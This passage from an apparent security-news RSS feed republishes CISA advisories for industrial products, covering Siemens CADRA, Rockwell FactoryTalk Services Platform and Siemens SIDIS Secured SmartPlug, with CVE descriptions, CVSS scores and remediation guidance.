<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-13223</a></h3>
<div class="csaf-accordion-content">
<p>Type Confusion in V8 in Google Chrome prior to 142.0.7444.175 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-13223">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Block access to untrusted or external web content from sensitive systems</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/843.html">CWE-843 Access of Resource Using Incompatible Type ('Type Confusion')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-22184</a></h3>
<div class="csaf-accordion-content">
<p>zlib versions up to and including 1.3.1.2 include a global buffer overflow in the untgz utility located under contrib/untgz. The vulnerability is limited to the standalone demonstration utility and does not affect the core zlib compression library. The flaw occurs when a user executes the untgz command with an excessively long archive name supplied via the command line, leading to an out-of-bounds write in a fixed-size global buffer.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-22184">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>0</td>
<td>NONE</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:N">CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Siemens ProductCERT reported these vulnerabilities to CISA.</li>
</ul>
<hr>
<h2>General Recommendations</h2>
<p>As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity</p>
<hr>
<h2>Additional Resources</h2>
<p>For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories</p>
<hr>
<h2>Terms of Use</h2>
<p>The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.</p>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolate them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<hr>
<h2>Advisory Conversion Disclaimer</h2>
<p>This ICSA is a verbatim republication of Siemens ProductCERT SSA-470355 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.</p>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-14</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-14</td>
<td>1</td>
<td>Publication Date</td>
</tr>
<tr>
<td>2026-07-21</td>
<td>2</td>
<td>Initial CISA Republication of Siemens ProductCERT SSA-470355 advisory</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Rockwell Automation FactoryTalk Services Platform]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of this vulnerability could allow an attacker to impersonate an authorized user on the FTSP server, resulting in unauthorized access to system configurations.
The following versions of Rockwell Automation FactoryTalk Services Platform are affected:

Facto...]]></description>
<link>https://tsecurity.de/de/3684506/it-security-nachrichten/rockwell-automation-factorytalk-services-platform/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684506/it-security-nachrichten/rockwell-automation-factorytalk-services-platform/</guid>
<pubDate>Tue, 21 Jul 2026 19:45:25 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-202-07.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of this vulnerability could allow an attacker to impersonate an authorized user on the FTSP server, resulting in unauthorized access to system configurations.</strong></p>
<p>The following versions of Rockwell Automation FactoryTalk Services Platform are affected:</p>
<ul>
<li>FactoryTalk Directory (FTSP) 6.60 </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 7.8</td>
<td>Rockwell Automation</td>
<td>Rockwell Automation FactoryTalk Services Platform</td>
<td>Weak Authentication</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>United States</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-10714</a></h3>
<div class="csaf-accordion-content">
<p>A security issue exists within FactoryTalk Services Platform (FTSP), allowing an attacker to bypass JWT signature validation during Okta Web Authentication. The vulnerability stems from the application not verifying that the JWT algorithm is configured for RSA, enabling an attacker to set the algorithm to "none" and craft forged tokens. This could allow an authenticated low-privilege user to impersonate any authorized user on the FTSP server, resulting in unauthorized access to system configuration and the ability to grant permissions to other systems protected by FTSP.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-10714">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Rockwell Automation FactoryTalk Services Platform</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Rockwell Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>Rockwell Automation FactoryTalk Directory (FTSP): 6.60</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Users using FactoryTalk Services Platform v6.60 should apply either the individual patch (RAID 1158263) or the February 2026 Patch Roll-up, or later update.</p>
<p><strong>Mitigation</strong><br>Users using the affected software, who are not able to upgrade to one of the corrected versions, should use Rockwell's security best practices.<br><a href="https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight">https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight</a></p>
<p><strong>Mitigation</strong><br>For more information, refer to Rockwell Automation's security advisory SD1786 page.<br><a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1786.html">https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1786.html</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/1390.html">CWE-1390 Weak Authentication</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H">CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Rockwell Automation reported this vulnerability to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time. This vulnerability is not exploitable remotely.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-21</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-21</td>
<td>1</td>
<td>Initial Republication of Rockwell Automation SD1786</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Siemens SIDIS Secured SmartPlug]]></title>
<description><![CDATA[View CSAF
Summary
SIDIS Secured SmartPlug before V7.26.0310 is affected by multiple vulnerabilities in the components OpenSSL, OpenSSH, and several other packages as described below. Siemens has released a new version of SIDIS Secured SmartPlug and recommends to update to the latest version.
The ...]]></description>
<link>https://tsecurity.de/de/3684505/it-security-nachrichten/siemens-sidis-secured-smartplug/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684505/it-security-nachrichten/siemens-sidis-secured-smartplug/</guid>
<pubDate>Tue, 21 Jul 2026 19:45:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-202-04.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>SIDIS Secured SmartPlug before V7.26.0310 is affected by multiple vulnerabilities in the components OpenSSL, OpenSSH, and several other packages as described below. Siemens has released a new version of SIDIS Secured SmartPlug and recommends to update to the latest version.</strong></p>
<p>The following versions of Siemens SIDIS Secured SmartPlug are affected:</p>
<ul>
<li>SIDIS Secured SmartPlug vers:intdot/&lt;7.26.0310 </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 9.8</td>
<td>Siemens</td>
<td>Siemens SIDIS Secured SmartPlug</td>
<td>Improper Enforcement of Message Integrity During Transmission in a Communication Channel, Reusing a Nonce, Key Pair in Encryption, Out-of-bounds Write, Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'), Integer Overflow or Wraparound, Out-of-bounds Read, Covert Timing Channel, Detection of Error Condition Without Action, Incorrect Authorization</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Germany</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2022-23303</a></h3>
<div class="csaf-accordion-content">
<p>The implementations of SAE in hostapd before 2.10 and wpa_supplicant before 2.10 are vulnerable to side channel attacks as a result of cache access patterns. NOTE: this issue exists because of an incomplete fix for CVE-2019-9494.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2022-23303">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/924.html">CWE-924 Improper Enforcement of Message Integrity During Transmission in a Communication Channel</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2022-23304</a></h3>
<div class="csaf-accordion-content">
<p>The implementations of EAP-pwd in hostapd before 2.10 and wpa_supplicant before 2.10 are vulnerable to side-channel attacks as a result of cache access patterns. NOTE: this issue exists because of an incomplete fix for CVE-2019-9495.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2022-23304">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/924.html">CWE-924 Improper Enforcement of Message Integrity During Transmission in a Communication Channel</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2022-37660</a></h3>
<div class="csaf-accordion-content">
<p>In hostapd 2.10 and earlier, the PKEX code remains active even after a successful PKEX association. An attacker that successfully bootstrapped public keys with another entity using PKEX in the past, will be able to subvert a future bootstrapping by passively observing public keys, re-using the encrypting element Qi and subtracting it from the captured message M (X = M - Qi). This will result in the public ephemeral key X; the only element required to subvert the PKEX association.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2022-37660">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/323.html">CWE-323 Reusing a Nonce, Key Pair in Encryption</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2022-48174</a></h3>
<div class="csaf-accordion-content">
<p>There is a stack overflow vulnerability in ash.c:6030 in busybox before 1.35. In the environment of Internet of Vehicles, this vulnerability can be executed from command to arbitrary code execution.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2022-48174">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-5222</a></h3>
<div class="csaf-accordion-content">
<p>A stack buffer overflow was found in Internationl components for unicode (ICU ). While running the genrb binary, the 'subtag' struct overflowed at the SRBRoot::addTag function. This issue may lead to memory corruption and local arbitrary code execution.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-5222">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/120.html">CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-5914</a></h3>
<div class="csaf-accordion-content">
<p>A vulnerability has been identified in the libarchive library, specifically within the archive_read_format_rar_seek_data() function. This flaw involves an integer overflow that can ultimately lead to a double-free condition. Exploiting a double-free vulnerability can result in memory corruption, enabling an attacker to execute arbitrary code or cause a denial-of-service condition.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-5914">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/190.html">CWE-190 Integer Overflow or Wraparound</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-9230</a></h3>
<div class="csaf-accordion-content">
<p>Issue summary: An application trying to decrypt CMS messages encrypted using password based encryption can trigger an out-of-bounds read and write. Impact summary: This out-of-bounds read may trigger a crash which leads to Denial of Service for an application. The out-of-bounds write can cause a memory corruption which can have various consequences including a Denial of Service or Execution of attacker-supplied code. Although the consequences of a successful exploit of this vulnerability could be severe, the probability that the attacker would be able to perform it is low. Besides, password based (PWRI) encryption support in CMS messages is very rarely used. For that reason the issue was assessed as Moderate severity according to our Security Policy. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the CMS implementation is outside the OpenSSL FIPS module boundary.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-9230">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
